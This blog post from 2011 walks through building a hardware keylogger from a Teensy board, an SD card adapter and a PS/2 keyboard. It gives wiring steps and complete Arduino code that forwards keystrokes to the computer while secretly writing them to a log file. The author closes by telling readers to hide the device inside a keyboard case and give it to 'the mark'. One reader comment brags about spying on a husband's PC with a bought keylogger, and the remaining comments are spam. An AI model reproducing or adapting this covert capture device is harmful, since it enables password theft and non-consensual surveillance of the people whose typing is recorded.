Monday, August 15, 2011

Teensy Hardware Key logger

By: Shawn McCombs

This is my first project with the teensy it was mainly inspired by, Adrian Crenshaw's "PHUKD" device. Thank you Adrian for the idea.

Problem: the Ctrl, Alt, Windows keys, caps lock  and a few other special keys do not work right. I'm sure someone can fix them. Comment if you can, and how. Thanks.

The log file looks like this:

This is what the log file [ENTER]
looks[ENTER]
[UPARROW]
like.essays could kill your teensy ram XP[ENTER]


Items needed:

  • Teensy
  • Sdcard adapter
  • PS2 Keyboard - any US keyboard will do
  • USB Cable - to program the teensy, and use as a keyboard cable.


Attach the SD Adapter:

So here we go, you attach your sd adapter to you teensy 2.0. This is pretty easy, just look at the top of your teensy then place the adapter on top with the sd card pointing toward the usb connector and solder it on. If you have the Teensy++ you will have to use different pins listed on pjrc.com.

I did mine a bit differently, I solderd pins on the bottom, then a dip socket on top of the teensy, and then put pins on the sd adapter, so it all plugs together. I am using this teensy as a prototyping device. I do not have the money to buy a teensy for all of my projects.


Attach the keyboard:

Then you take your ps2 keyboard, and attach it to your teensy using the pinout and directions here
http://www.pjrc.com/teensy/td_libs_PS2Keyboard.html

I attached the data pin to 9, and the IRQ to pin 8 on my teensy.

I used some extra wire, and some easy pin connectors things that I riped out of some old computers to connect the keyboard.


The code:

Alright so this is the code below feel free to use it, play with it, etc. I used the PS2Keyboard Library to interface with the keyboard, then used the Teensy's HID device library to pretty much just convert ps2 keys to usb keys. Then I used the SDFat Library to write the keys to the sdcard.




#include <SdFat.h>
#include <PS2Keyboard.h>

const int chipSelect = 0;

const int DataPin = 9;
const int IRQpin =  8;

String keylog = "";

PS2Keyboard keyboard;

SdFat sd;
SdFile myFile;

void setup() {
  sd.init(SPI_HALF_SPEED, chipSelect);
  keyboard.begin(DataPin, IRQpin);
}

void loop() {
  if (keyboard.available()) {
    myFile.open("test.txt", O_RDWR | O_CREAT | O_AT_END);
  
    // read the next key
    char c = keyboard.read();
  
    // check for some of the special keys
    if (c == PS2_ENTER) {
      Keyboard.set_key1(KEY_ENTER);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      keylog += "[ENTER]";
      myFile.println(keylog);
      myFile.close();
      keylog = "";
    } else if (c == PS2_TAB) {
      Keyboard.set_key1(KEY_TAB);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[TAB]");
      myFile.close();
    } else if (c == PS2_ESC) {
      Keyboard.set_key1(KEY_ESC);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[ESC]");
      myFile.close();
    } else if (c == PS2_PAGEDOWN) {
      Keyboard.set_key1(KEY_PAGE_DOWN);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[PAGEDOWN]");
      myFile.close();
    } else if (c == PS2_PAGEUP) {
      Keyboard.set_key1(KEY_PAGE_UP);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[PAGEUP]");
      myFile.close();
    } else if (c == PS2_LEFTARROW) {
      Keyboard.set_key1(KEY_LEFT);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[LEFTARROW]");
      myFile.close();
    } else if (c == PS2_RIGHTARROW) {
      Keyboard.set_key1(KEY_RIGHT);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[RIGHTARROW]");
      myFile.close();
    } else if (c == PS2_UPARROW) {
      Keyboard.set_key1(KEY_UP);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[UPARROW]");
      myFile.close();
    } else if (c == PS2_DOWNARROW) {
      Keyboard.set_key1(KEY_DOWN);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[DOWNARROW]");
      myFile.close();
    } else if (c == PS2_HOME) {
      Keyboard.set_key1(KEY_HOME);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[HOME]");
      myFile.close();
    } else if (c == PS2_SCROLL) {
      Keyboard.set_key1(KEY_SCROLL_LOCK);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[SCROLL]");
      myFile.close();
    } else if (c == PS2_BACKSPACE) {
      Keyboard.set_key1(KEY_BACKSPACE);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[BACKSPACE]");
      myFile.close();
    } else if (c == PS2_DELETE) {
      Keyboard.set_key1(KEY_DELETE);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[DELETE]");
      myFile.close();
    } else {
    
      // otherwise, just print all normal characters
      Keyboard.print(c);
      keylog += c;
    }
  }
}

Finishing it up:

All you have to do at that point is just test it, cram it inside the keyboard case and give it to the mark.

Thanks everyone, leave comments, questions etc. Hope you like the project.

13 comments:

  1. Good work bro! Ill buy one from you.......lol

    ReplyDelete
  2. I don't know how much use it'll be, but I'm working on a similar project but without the USB. you might find it easier to deal with scancodes rather than ascii, have a look http://elektrickery.blogspot.com/p/keyboard.html

    ReplyDelete
  3. Check out the PHUKD lib for teensy. I believe the key modifiers should help you solve the windows, shift, alt, ctrl keys and such.

    ReplyDelete
  4. The problem isn't sending ctrl, alt, win. Its having the teensy acknowledge them, the ps2keyboard lib, does not acknowledge them :(

    ReplyDelete
  5. It may be fugly, but my code does :)

    I think the ps2keyboard lib was mainly written for getting text into an arduino rather than key presses if that makes sense...

    ReplyDelete
  6. Currently I have been working on the code and have gotten the windows key to work. Now just a few more :/ lol

    ReplyDelete
  7. I am really happy with my Hardware Keylogger .Now it became easy for me to spy my husband PC :) I get it from http://www.keydemon.com

    ReplyDelete
  8. We stumbled oveг here from a different web aԁԁress and thought I mіght as well cheсκ things out.
    I like ωhat I see so i am just follоwing you.

    Look forward to checking out your wеb
    page for a second time.

    Mу ωebpаge ... tens units

    ReplyDelete
  9. Good гesponse іn return of this question with real arguments and
    explaining eveгything on the topic of that.


    mу web site :: Taxi Service Irving Texas
    my website :: irving taxi blog

    ReplyDelete
  10. You have mаdе some ԁecent ρoints theгe.
    I looked оn the internet to learn more аbout
    the issue and found most indiνіduals will go
    alοng with your viewѕ on this ѕіtе.


    My blog pοst; make money buying and selling cars for profit

    ReplyDelete
  11. Thank you for the good ωriteup. It if truth bе told
    was оncе a enjοyment aссount
    it. Loоκ complicatеԁ to fаr
    brought agreeable from уou! Вy the way, how cоuld we be in contасt?


    my homepаge; seo dallas texas

    ReplyDelete
  12. Αt thiѕ moment I am ready to do my breakfаst,
    when haνing my breakfаst coming yet agаіn to rеad other news.


    Hеrе is mу webρage; www.planohousesforrent.com

    ReplyDelete
  13. whoah this blog is great i love reading your articles.
    Stay up the good work! You understand, many persons are looking round for this info, you could
    help them greatly.

    Also visit my webpage acoustic guitar chords for beginners

    ReplyDelete